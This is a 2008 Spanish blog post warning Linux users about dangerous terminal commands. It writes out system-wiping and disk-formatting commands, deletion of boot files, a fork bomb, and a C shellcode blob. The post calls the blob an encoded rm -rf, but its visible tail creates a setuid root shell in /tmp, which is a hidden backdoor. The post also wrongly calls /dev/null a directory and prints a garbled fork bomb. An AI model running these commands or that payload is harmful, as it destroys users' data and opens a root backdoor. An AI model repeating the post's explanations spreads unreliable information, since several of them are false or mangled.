October 25th, 2008 | |
Posted in Terminal

La consola de linux es por mucho la herramienta de administracion de sistema mas versatil y practica, no por nada la mayoria de los tutoriales vienen con comandos en terminal a pesar de que se puede hacer exactamente lo mismo en una GUI (Interfaz Grafica de Usuario en ingles), como agregar repositorios por ejemplo.
Pero tambien puede ser un arma de doble filo, por que GNU/Linux puede poseer comandos para borrarse o corromperse por completo, si se usan de manera inapropiada, y aqui pondre una muestra de esos comandos, que hacen y el por que nunca jamas debes ejecutarlos, si no es con conciencia plena de las consecuencias:
sudo rm -rf /
Que hace? Simple, borra absolutamente todo el contenido del disco duro empezando por el directorio root (la raiz y padre de todos los directorios), seria como un autoborrar, un suicidio virtual y gnu pues.
Como funciona? sudo se refiere a privilegios de administrador necesarios para borrar elementos de sistema, rm es remover, quitar; -r es recursivo, o sea a la carpeta y las carpetas y archivos dentro de esa carpeta y los archivos y carpetas de esas carpetas y asi; f es forzado que vendria siendo como no me preguntes si realmente lo quiero hacer, hazlo y ya!
Hay algunas variables de este comandillo que hacen mas o menos lo mismo:
rm -rf .
rm -rf *
Que vendria siendo la misma sentencia pero en vez del directorio raiz(/) le decimos que borre todo de todo. Hay versiones tan maquilladas y editadas que podrian venir en cualquier script bajado de x lugar:
char esp[] __attribute__ ((section(”.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
Que no es mas que el mismo rm -rf en hexadecimal.
/dev/null
/dev/null es un directorio a donde no quieres ir, punto. Merece una explicacion mas grande pero este directorio es como el agujero negro del sistema, todo lo que este dentro de /dev/null o este ligado a el dejara de existir, asi que comandos como este:
mv /home/tu-directorio-home/* /dev/null
Mueve tu home a null, home deja de existir, siendo asi que cualquier cosa que muevas a este directorio sea carpeta o archivo, dejara de existir, asi como asi.
Bloquear el equipo desde terminal.
Con algo aparentemente tan inofensivo como esto puedes bloquear por completo el equipo haciendo que sea necesario reiniciarlo al clasico estilo del botonazo, algo chistoso seria poner este comandito en algun nivel del init.d, o en sesiones, la solucion en este caso se puede, pero no va a ser facil.
Formatear discos duros sin querer
mkfs.ext3 /dev/sda
mkfs.ext3 /dev/sdb
mkfs.ext3 /dev/ide
Que hacen estos comandillos? formatea por completo en sistema de archios ext3, en cualquiera de estas 3 variables, dependiendo del tipo de disco duro dara algunos avisos del formateo eso si, pero es peligroso para cualquier persona que dice que si, nomas por que si, asi que tambien cuidado.
Borrado de otros directorios.
Estos son algunos ejemplos de borrado de archivos que NO DEBEMOS TOCAR a menos que sepamos que estamos haciendo. “borrados accidentales”:
sudo rm /boot/vmlinuz*
sudo rm /sbin/init
sudo rm /bin/
En resumen, no te recomiendo borrar nada que no este dentro de tu directorio home (/home/tu nombre de usuario) a menos que estes completamente seguro de lo que haces, recordemos que en GNU/Linux no hay el “es que la compu fallo” aqui solo puede haber error de capa 8.
EDIT
El camarada de tuxcaos me recordo este otro (gracias men!):
){
:& };:
Esta linea de caracteres que mas bien parece un nick de messenger de chavito de secundaria es inclusive tambien poderoso en distros o sistemas no actualizados ya que solo necesita una cuenta de invitado, lo que hara este fork bomb es ciclar la computadora (desktop, laptop, server, tostadora) y obligarlo a un reboot de hardware (botonazo), encontre una muy buena explicacion de este comando que pongo aqui:
Crea una funcion llamada “:” que no acepta argumentos, esa es la parte “:()” de la sentencia.
El condigo en la funcion llama recurivamente la funcion enruta la salida de la funcion en otra invocaion de una funcion (esto es la parte de
:). El caracter de & manda el proceso a segundo plano de esa forma el proceso hijo no muere si su proceso padre es terminado. La funcion en si es invocada 2 veces, por lo cual se logra un crecimiento exponencial de procesos corriendo.
El punto y coma despues de la ejecucion termina la funion y los 2 puntos al final manda llamar la funcion, que es lo que vendria siendo lo que acciona la bombita!
Sabes de otro comandillo peligroso en manos torpes?